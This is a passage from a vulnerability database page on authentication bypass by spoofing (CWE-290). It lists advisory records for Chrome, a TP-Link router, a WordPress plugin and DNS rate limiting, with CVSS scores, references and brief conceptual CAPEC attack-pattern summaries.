    "nvd_published_at": "2019-11-25T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient policy enforcement in downloads in Google Chrome prior to 78.0.3904.70 allowed a remote attacker to bypass download restrictions via a crafted HTML page.",
  "id": "GHSA-8fgw-hcmw-fvqp",
  "modified": "2022-10-14T19:00:24Z",
  "published": "2022-05-24T17:01:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13709"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2019/10/stable-channel-update-for-desktop_22.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/1005218"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00008.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8G78-HRV2-4QX3

Vulnerability from github – Published: 2024-05-03 03:31 – Updated: 2024-05-03 03:31
VLAI
Details

TP-Link TL-WR902AC loginFs Improper Authentication Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of TP-Link TL-WR902AC routers. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the httpd service, which listens on TCP port 80 by default. The issue results from improper authentication. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-21529.

Severity
6.5 (Medium)
CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-44447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T03:16:00Z",
    "severity": "MODERATE"
  },
  "details": "TP-Link TL-WR902AC loginFs Improper Authentication Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of TP-Link TL-WR902AC routers. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the httpd service, which listens on TCP port 80 by default. The issue results from improper authentication. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-21529.",
  "id": "GHSA-8g78-hrv2-4qx3",
  "modified": "2024-05-03T03:31:05Z",
  "published": "2024-05-03T03:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44447"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1623"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8GC7-MJJC-5VM3

Vulnerability from github – Published: 2024-06-04 15:30 – Updated: 2024-06-04 15:30
VLAI
Details

Authentication Bypass by Spoofing vulnerability in Metagauss RegistrationMagic allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects RegistrationMagic: from n/a through 5.2.5.0.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-51543"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-04T13:15:50Z",
    "severity": "MODERATE"
  },
  "details": "Authentication Bypass by Spoofing vulnerability in Metagauss RegistrationMagic allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects RegistrationMagic: from n/a through 5.2.5.0.",
  "id": "GHSA-8gc7-mjjc-5vm3",
  "modified": "2024-06-04T15:30:57Z",
  "published": "2024-06-04T15:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51543"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/custom-registration-form-builder-with-submission-manager/wordpress-registrationmagic-plugin-5-2-5-0-ip-limit-bypass-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8GGC-49W3-FH4R

Vulnerability from github – Published: 2022-05-05 00:29 – Updated: 2024-04-03 23:57
VLAI
Details

Cache Poisoning issue exists in DNS Response Rate Limiting.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2013-5661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-11-05T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Cache Poisoning issue exists in DNS Response Rate Limiting.",
  "id": "GHSA-8ggc-49w3-fh4r",
  "modified": "2024-04-03T23:57:10Z",
  "published": "2022-05-05T00:29:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-5661"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-5661"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2013-5661"
    },
    {
      "type": "WEB",
      "url": "https://security-tracker.debian.org/tracker/CVE-2013-5661"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-21: Exploitation of Trusted Identifiers

An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-461: Web Services API Signature Forgery Leveraging Hash Function Extension Weakness

An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.

CAPEC-473: Signature Spoof

An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.

CAPEC-476: Signature Spoofing by Misrepresentation

An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-667: Bluetooth Impersonation AttackS (BIAS)

An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list